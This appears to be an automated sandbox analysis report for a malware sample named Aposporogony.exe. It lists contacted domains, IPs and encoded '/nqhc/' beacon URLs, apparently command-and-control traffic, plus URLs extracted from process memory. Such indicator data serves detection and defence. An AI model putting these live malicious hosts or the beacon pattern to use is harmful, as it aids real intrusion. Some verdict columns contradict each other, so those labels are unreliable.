http://www.phootka.ru/nqhc/?r4txB=nxEpVeNHnARypVRSWPzq+Yc9yhVf8J7idG64BP0ay1SSlgh8opdyHa7T5FU3HpxZiEIb1VwF2iL8pFHt356/ltXz75Eg7AD5bw==&1b=S8jD	0%	Avira URL Cloud	safe
http://www.funknive.ch/nqhc/?r4txB=sPoIw5t6pqr53t/oApVsYQPYeQSIkYstTEU7jq7wUoyBdiYMXjDOpQvDe6hGJRv5cGRC4OofJ74gnHLDZXk1GBAfNVZPB7Yr2A==&1b=S8jD	0%	Avira URL Cloud	safe
www.xiaoxiuzhen.com/nqhc/	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-content/themes/twentytwentytwo/style.css?ver=1.3	0%	Avira URL Cloud	safe
https://excel.office.comi	0%	Avira URL Cloud	safe
http://www.youlian.fund/nqhc/	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/	0%	Avira URL Cloud	safe
http://www.labour-office.com/nqhc/	0%	Avira URL Cloud	safe
http://www.funknive.ch/nqhc/	0%	Avira URL Cloud	safe
http://www.xiaoxiuzhen.com/nqhc/	0%	Avira URL Cloud	safe
http://schemas.micro	0%	Avira URL Cloud	safe
http://www.botbillionsblaze.website/nqhc/	100%	Avira URL Cloud	malware
http://www.searchbot.su/nqhc/?r4txB=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&1b=S8jD	0%	Avira URL Cloud	safe
http://www.phootka.ru/nqhc/	0%	Avira URL Cloud	safe
http://45.122.138.45/favicon.ico	0%	Avira URL Cloud	safe
http://schemas.microso	0%	Avira URL Cloud	safe
http://www.searchbot.su/nqhc/	0%	Avira URL Cloud	safe
http://www.xiaoxiuzhen.com/nqhc/?r4txB=NmysUK8Sf6DpSokzhdS+Fe7Tw5OPNsso476sAEQMN+xhSdBax7kHE0kXg2GXcVgvb7a1o1nVZ7aHbSSwUgvcnfixvrsa7oZKWA==&1b=S8jD	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-includes/blocks/navigation/view.min.js?ver=c24330f635f5cb9d5e0e	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
http://www.apidachicago.org/nqhc/?r4txB=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&1b=S8jD	0%	Avira URL Cloud	safe
http://www.gumba.shop/nqhc/?r4txB=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&1b=S8jD	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-includes/blocks/navigation/view-modal.min.js?ver=45f05135277abf	0%	Avira URL Cloud	safe
http://www.xn--29-oj9ik7b890b.net/nqhc/	0%	Avira URL Cloud	safe
https://powerpoint.office.comEMo	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-includes/js/jquery/jquery.min.js?ver=3.6.1	0%	Avira URL Cloud	safe
http://www.wellnessprodia.com/nqhc/	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-includes/wlwmanifest.xml	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
botbillionsblaze.website	2.57.90.16	true	true	1%, Virustotal, Browse	unknown
www.phootka.ru	195.24.68.23	true	true	2%, Virustotal, Browse	unknown
xn--29-oj9ik7b890b.net	50.87.192.144	true	true	2%, Virustotal, Browse	unknown
www.youlian.fund	154.204.24.45	true	true	1%, Virustotal, Browse	unknown
www.xiaoxiuzhen.com	38.55.15.214	true	true	0%, Virustotal, Browse	unknown
www.searchbot.su	45.130.41.24	true	true	1%, Virustotal, Browse	unknown
www.005404.com	103.63.2.175	true	true		unknown
www.funknive.ch	185.101.158.239	true	true		unknown
www.plentywindshield.com	96.43.100.185	true	true		unknown
www.gouldent.site	66.29.151.40	true	true		unknown
royaltechglobal.com	192.185.32.157	true	true		unknown
drive.google.com	142.250.185.78	true	false		high
www.labour-office.com	45.33.23.183	true	true		unknown
wellnessprodia.com	192.232.217.125	true	true		unknown
www.gumba.shop	3.13.90.76	true	true		unknown
www.apidachicago.org	194.245.148.189	true	true		unknown
googlehosted.l.googleusercontent.com	142.250.185.161	true	false		high
www.codemars.academy	217.160.0.1	true	true		unknown
doc-00-7s-docs.googleusercontent.com	unknown	unknown	false		high
www.wellnessprodia.com	unknown	unknown	true		unknown
www.botbillionsblaze.website	unknown	unknown	true		unknown
www.noprostatit.store	unknown	unknown	true		unknown
www.royaltechglobal.com	unknown	unknown	true		unknown
www.westinotion.tech	unknown	unknown	true		unknown
www.xn--29-oj9ik7b890b.net	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.royaltechglobal.com/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.xn--29-oj9ik7b890b.net/nqhc/?r4txB=YpBcfthyu6gwcnN/g9jRvpxtfUkdEaz6LsXfXUppEZSnE0c1g3RTY5b27kCACk8vV3w0fGJq4rusk2G49vjJdiO+izISunFXUA==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.labour-office.com/nqhc/?r4txB=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.codemars.academy/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.005404.com/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.gouldent.site/nqhc/?r4txB=1Yl+QUBI4kgCsXI3Vp53kl3xa1s40hGy3/rGU37TkiIZHr5R+30vzUqate7I4LnPvrrd2ZP58ux1HT0e4Ni8o787tXF+UCoQAg==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.labour-office.com/nqhc/?b6=1b9p&r4txB=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==	true	Avira URL Cloud: safe	unknown
http://www.apidachicago.org/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.botbillionsblaze.website/nqhc/?r4txB=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&1b=S8jD	true	Avira URL Cloud: malware	unknown
http://www.gouldent.site/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.005404.com/nqhc/?r4txB=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.royaltechglobal.com/nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.youlian.fund/nqhc/?r4txB=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.codemars.academy/nqhc/?r4txB=HWUkI9TTae9E16Ico4VYIxYl96Wd6gyAbZTC2FoY75Z91OR/nsTZW6u7F26sGGS3r1HZf2jS9pu5KUGpbE/+fGNm2HkM109OTw==&b6=1b9p	true	Avira URL Cloud: safe	unknown
http://www.wellnessprodia.com/nqhc/?r4txB=cCAegqK/nzfcR22oyFZFZLhv7+fwUp6Akkv27RFimicapgMUJBRfpG+MwKY/yKfw/XeAmq4HqwYY5KwMyaSJSZOUIGIe3VRiGA==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.gumba.shop/nqhc/	true	Avira URL Cloud: safe	unknown
www.xiaoxiuzhen.com/nqhc/	true	Avira URL Cloud: safe	low
http://www.phootka.ru/nqhc/?r4txB=nxEpVeNHnARypVRSWPzq+Yc9yhVf8J7idG64BP0ay1SSlgh8opdyHa7T5FU3HpxZiEIb1VwF2iL8pFHt356/ltXz75Eg7AD5bw==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.funknive.ch/nqhc/?r4txB=sPoIw5t6pqr53t/oApVsYQPYeQSIkYstTEU7jq7wUoyBdiYMXjDOpQvDe6hGJRv5cGRC4OofJ74gnHLDZXk1GBAfNVZPB7Yr2A==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.youlian.fund/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.labour-office.com/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.funknive.ch/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.xiaoxiuzhen.com/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.botbillionsblaze.website/nqhc/	true	Avira URL Cloud: malware	unknown
http://www.phootka.ru/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.searchbot.su/nqhc/?r4txB=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.xiaoxiuzhen.com/nqhc/?r4txB=NmysUK8Sf6DpSokzhdS+Fe7Tw5OPNsso476sAEQMN+xhSdBax7kHE0kXg2GXcVgvb7a1o1nVZ7aHbSSwUgvcnfixvrsa7oZKWA==&1b=S8jD	true	Avira URL Cloud: safe	unknown
https://doc-00-7s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/aa7vto4aijg1pkg5c538nvekfh9g64qn/1669054650000/00631903678986001080/*/1stXX8Uj1RjHVqk-MVjs7YkPXjSyawEff?e=download&uuid=f9b422c8-2ce3-49b6-9ddb-2eda7c45f4e1	false		high
http://www.apidachicago.org/nqhc/?r4txB=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.searchbot.su/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.gumba.shop/nqhc/?r4txB=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&1b=S8jD	true	Avira URL Cloud: safe	unknown
http://www.xn--29-oj9ik7b890b.net/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.wellnessprodia.com/nqhc/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	mstsc.exe, 00000006.00000003.2922109762.000000000738C000.00000004.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000002.6593675560.0000000007323000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.6.dr	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	mstsc.exe, 00000006.00000003.2922109762.000000000738C000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.6.dr	false		high
https://duckduckgo.com/ac/?q=	mstsc.exe, 00000006.00000002.6593675560.0000000007323000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.6.dr	false		high
https://word.office.comW	explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?o	explorer.exe, 00000007.00000000.2553123824.00000000052A6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2341526681.00000000052A6000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-json/	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nic.ru/	mstsc.exe, 00000006.00000002.6591825249.00000000062D2000.00000004.10000000.00040000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp	false		high
https://js.users.51.la/21461531.js	mstsc.exe, 00000006.00000002.6590571069.00000000057D4000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.nic.ru/help/oshibka-404_8500.html	mstsc.exe, 00000006.00000002.6591825249.00000000062D2000.00000004.10000000.00040000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/texas-gov-abbott-sends-miles-of-cars-along-border-to-deter-migrant	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	mstsc.exe, 00000006.00000002.6593675560.0000000007323000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.6.dr	false		high
https://drive.google.com/	Aposporogony.exe, 00000004.00000002.2222039594.00000000019A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://royaltechglobal.com/nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPm	mstsc.exe, 00000006.00000002.6589851216.000000000518C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/svg/72/MostlySunnyDay.svg	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://yastatic.net/pcode/adfox/loader.js	mstsc.exe, 00000006.00000002.6591825249.00000000062D2000.00000004.10000000.00040000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000007.00000000.2496043947.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2568196336.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2645689461.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2360096525.000000000D00D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/tv/celebrity/tarek-el-moussa-tests-positive-for-covid-19-shuts-down-filmin	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/feed/	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xn--299aa717y.xn--3e0b707e/comments/feed/	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/odirm1064_03	explorer.exe, 00000007.00000000.2345372271.000000000952C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2633552316.000000000952C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2555805377.000000000952C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2484949188.000000000952C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://doc-00-7s-docs.googleusercontent.com/	Aposporogony.exe, 00000004.00000003.2019995923.0000000001A23000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2222510736.00000000019E9000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2020429187.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223010192.0000000001A28000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2015914455.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/technology/facebook-oversight-board-reviewing-xcheck-system-for-vips/	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	mstsc.exe, 00000006.00000002.6593675560.0000000007323000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.6.dr	false		high
https://wns.windows.com/DBx	explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Aposporogony.exe	false		high
https://outlook.com	explorer.exe, 00000007.00000000.2496043947.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2568196336.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2645689461.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2360096525.000000000D00D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://drive.google.com/=3	Aposporogony.exe, 00000004.00000002.2222039594.00000000019A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=5696A836803C42E0B53F7BB2770E5342&timeOut=10000&o	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/texas-gov-abbott-sends-miles-of-cars-al	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000007.00000000.2484949188.000000000952C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000007.00000000.2497447313.000000000D0E1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2569725509.000000000D0E1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2361749318.000000000D0E1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-content/themes/twentytwentytwo/style.css?ver=1.3	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.comi	explorer.exe, 00000007.00000000.2496043947.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2568196336.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2645689461.000000000D00D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2360096525.000000000D00D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/search	mstsc.exe, 00000006.00000002.6593675560.0000000007323000.00000004.00000800.00020000.00000000.sdmp	false		high
https://windows.msn.com/shell	explorer.exe, 00000007.00000000.2365278251.000000000D276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2649735209.000000000D276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2500432887.000000000D276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2573174586.000000000D276000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wordpress.org	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false		high
https://android.notify.windows.com/iOSeZ	explorer.exe, 00000007.00000000.2345372271.000000000952C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2633552316.000000000952C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2555805377.000000000952C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2484949188.000000000952C000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://push.zhanzhang.baidu.com/push.js	mstsc.exe, 00000006.00000002.6590571069.00000000057D4000.00000004.10000000.00040000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000007.00000000.2491298738.000000000AB00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.2490867555.000000000A500000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.2544716973.0000000003080000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.122.138.45/favicon.ico	mstsc.exe, 00000006.00000002.6590571069.00000000057D4000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microso	explorer.exe, 00000007.00000000.2540053050.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2617474559.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2470106206.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2327281380.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://joker.com/?pk_campaign=Parking&pk_kwd=text	mstsc.exe, 00000006.00000002.6591093970.0000000005C8A000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000006.00000002.6592526764.0000000006EB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://windows.msn.cn/shellRESP	explorer.exe, 00000007.00000000.2365278251.000000000D276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2649735209.000000000D276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2500432887.000000000D276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2573174586.000000000D276000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-includes/blocks/navigation/view.min.js?ver=c24330f635f5cb9d5e0e	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-00-7s-docs.googleusercontent.com/tography	Aposporogony.exe, 00000004.00000003.2019995923.0000000001A23000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2020429187.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223010192.0000000001A28000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2015914455.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	false		high
https://doc-00-7s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/aa7vto4a	Aposporogony.exe, 00000004.00000003.2022112025.0000000001A0D000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2022141130.0000000001A10000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2019995923.0000000001A23000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2222810881.0000000001A0D000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2020429187.0000000001A25000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2010589908.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223010192.0000000001A28000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2015914455.0000000001A28000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2222850216.0000000001A10000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/xmlrpc.php?rsd	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://crash-reports.mozilla.com/submit?id=	mstsc.exe, 00000006.00000003.2922634509.0000000007417000.00000004.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000003.2985837581.000000000759F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	mstsc.exe, 00000006.00000003.2922109762.000000000738C000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.6.dr	false		high
https://api.w.org/	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false		high
https://zz.bdstatic.com/linksubmit/push.js	mstsc.exe, 00000006.00000002.6590571069.00000000057D4000.00000004.10000000.00040000.00000000.sdmp	false		high
https://api.msn.com/y	explorer.exe, 00000007.00000000.2498854972.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2571389832.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2647850198.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2363489457.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp	false		high
